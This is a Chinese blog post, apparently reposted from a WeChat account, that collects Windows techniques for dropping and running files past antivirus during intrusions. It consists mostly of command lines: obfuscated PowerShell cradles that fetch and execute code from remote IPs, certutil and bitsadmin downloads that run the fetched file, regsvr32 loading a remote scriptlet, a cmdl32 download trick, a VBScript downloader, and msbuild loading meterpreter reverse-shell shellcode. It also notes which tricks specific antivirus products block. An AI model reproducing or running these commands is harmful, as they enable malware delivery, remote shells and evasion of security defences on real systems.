虽然有很多无文件落地的方案,但是实际渗透过程中难免会遇到需要落地文件、执行文件的过程。所以收集了一些落地文件的方法,有一些很常规的但是一定有你没见过的。
powershell
简单绕过:
echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -
echo (new-object System.Net.WebClient).DownloadFile(' http://xx.xx.xx.xx/robots.txt','C:Usersadmina.exe');start-process 'C:Usersadmina.exe' | powershell -
拆分、混淆变量:
拆分变量:
powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"
转义混淆:
powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"
转义:
echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -
certutil
certutil & Certutil –urlcache –f –split url //已经过不了
eg:
certutil & Certutil –urlcache –f –split http://107.148.200.117
certutil | Certutil –urlcache –f –split url //已经过不了
这里再提一个certutil编码解码。windows不像linux,自带base64编码解码,但是 certutil 可以
certutil -encode x.exe x.txt
certutil -decode x.txt x.exe
通过编码指令将exe编码生成txt文件,然后通过 echo 写入,再调用 certutil 解码还原为PE文件
但是此时还有一个问题,就是echo无法一次性写入,需要换行,但是马编码后太长,所以不太方便。暂时想到两个解决办法:
•python脚本边读本地txt边echo到对方服务器•写一个小程序,作用是在当前目录输出txt,再通过压缩的方式压缩程序大小,再通过certutil编码写入解码执行
wmic(360已拦截)
wmic os get /FORMAT:"http://107.148.200.117/1.txt" //只能下载后缀为xsl的表格,cs的场景
bitsadmin
Windows 操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台传输服务 (BITS),它可以促进到 Web 服务器 (HTTP) 和共享文件夹 (SMB) 的文件传输功能。Microsoft 提供了一个名为“ bitsadmin ”的二进制文件和用于创建和管理文件传输命令。
用法:
/create 创建一个任务
/addfile 添加一个需要下载的文件到任务中
/SetNotifyCmdLine :下载后执行文件,可以设置是否通知,NULL时为不通知
/SetMinRetryDelay 定义文件执行的时间延迟
/resume 执行任务
bitsadmin /create Download //创建任务名为Download的下载任务
bitsadmin /addfile Download https://test/1.exe c:a.exe //添加下载文件,并指定下载文件路径
bitsadmin /SetNotifyCmdLine Download "C:windowssystem32cmd.exe" NULL
//文件下载后,执行下载文件并不弹出通知框
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume Download //开始执行下载任务
bitsadmin /info Download /verbose //输出下载任务冗余信息
bitsadmin /complete Download //完成下载任务后,关闭
bitsadmin /list //查看下载任务列表
bitsadmin /del Download //从任务列表删除Download下载任务
可以和白名单程序一起使用达到无文件下载、执行并执行程序。(需要绕过regsvr32的监控,可以使用复制文件等方法,这里不展开说)
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/test.sct scrobj.dll"
powershell环境下也可以使用bitsadmin,但是实际环境可能不太用的到就不说了。
sync
参考:https://www.codercto.com/a/105467.html
SyncAppvPublishingServer.vbs;$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.80.xxx/ps/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)
forfiles
forfiles是一个用于批处理的一个工具,它在找到文件后会执行指定的命令.
forfiles /p c:windowssystem32 /m calc.exe /c c:tmpevil.exe
//evil.exe会成为forfiles.exe的子进程
//forfiles /p 指定搜索文件的目录 /m 指定搜索关键词 /c 指定要执行的命令
pcalua
pcalua -a c:tmpevil.exe //evil.exe不会成为子进程
cmd Hijack
下面命令将弹计算器
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../../windows/system32/calc.exe"
cmd.exe /c "ping ;a.exe; 127.0.0.1/../../../../../../../../../windows/system32/calc.exe"
ping ;a.exe 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe
conhost
大于win7可用
conhost c:windowssystem32calc.exe
conhost adsadas/../../../../../../../../../windows/system32/calc.exe
以下指令win10某些版本无法使用
conhost "asddas c:windowssystem32calc.exe"
explorer.exe (360已拦截)
explorer.exe c:windowssystem32calc.exe
explorer asdsadasd,"c:windowssystem32calc.exe"
cscript.exe
cscript.exe downloadfile.vbs
' downloadfile.vbs
' Setyour settings
strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"
strHDLocation = "c:\{FILE_NAME.EXT}"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
cmdl32.exe
cmdl32.exe是微软官方提供的工具,用于下载vpn配置文件(不知道具体是什么vpn) 其存在于以下位置
C:WindowsSystem32cmdl32.exe
C:WindowsSysWOW64cmdl32.exe
以下是必需的配置文件(注意该命令必须提供该文件的完整路径):
[Connection Manager]
CMSFile=config
ServiceName=WindowsUpdate
TunnelFile=config
[Settings]
UpdateUrl=http://192.168.110.128/test.exe
您可以将文件名更改为您想要的任何名称(不能有后缀),只需确保同时上述配置文件的属性无误。ServiceName可以更改为您认为听起来无害的任何内容,只要它不是空的。正常使用他的唯一问题是当cmdl32.exe一旦意识到下载的文件不是以下格式的配置文件时就会立马删除下载的文件:
[VPN Servers]
...arbitrary data...
幸运的是,可以通过将接受下载文件的文件夹(TMP由给出的环境变量的值GetTempPath())设置为拒绝删除权限进而解决该问题。
cd C:UsersAdministratorDesktoptestdir
icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
//icacls 是专门为文件夹分配权限的,https://blog.51cto.com/u_11728495/2418067
set tmp=%cd% //tmp为配置文件存放目录
cmdl32 /vpn /lan %cd%config
可以直接使用temp文件夹,但是,您必须更改Temp文件夹的权限,这可能会产生不良副作用。
icacls %cd% /grant %username%:(OI)(CI)(DE,DC)
全程未拦截(只是下载不报毒,下载的内容还是需要免杀)
检测
检查%TMP%config.log中的日志,但是我没有找相关的日志。相对其他方式还是比较少见,防守方可能不太能想到。
Dfsvc.exe
从远端一次性的运行程序(有点问题)
rundll32.exe dfshim.dll,ShOpenVerbApplication http://192.168.110.128/mimi.exe
Msbuild.exe
MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件 https://github.com/3gstudent/msbuild-inline-task msf生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444
-f csharp
使用shellcode替换 https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml 中的shellcode部分 msf监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xx.xx.xx.xx
set lport 4444
exploit
运行
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe exec64.xml
CMSTP
cmstp.exe /s /ns C:UsersadministratorAppDataLocalTempXKNqbpzl.txt
//绕过AppLocker并启动恶意脚本
原文始发于微信公众号(学安全在路上):过杀软落地(执行)文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论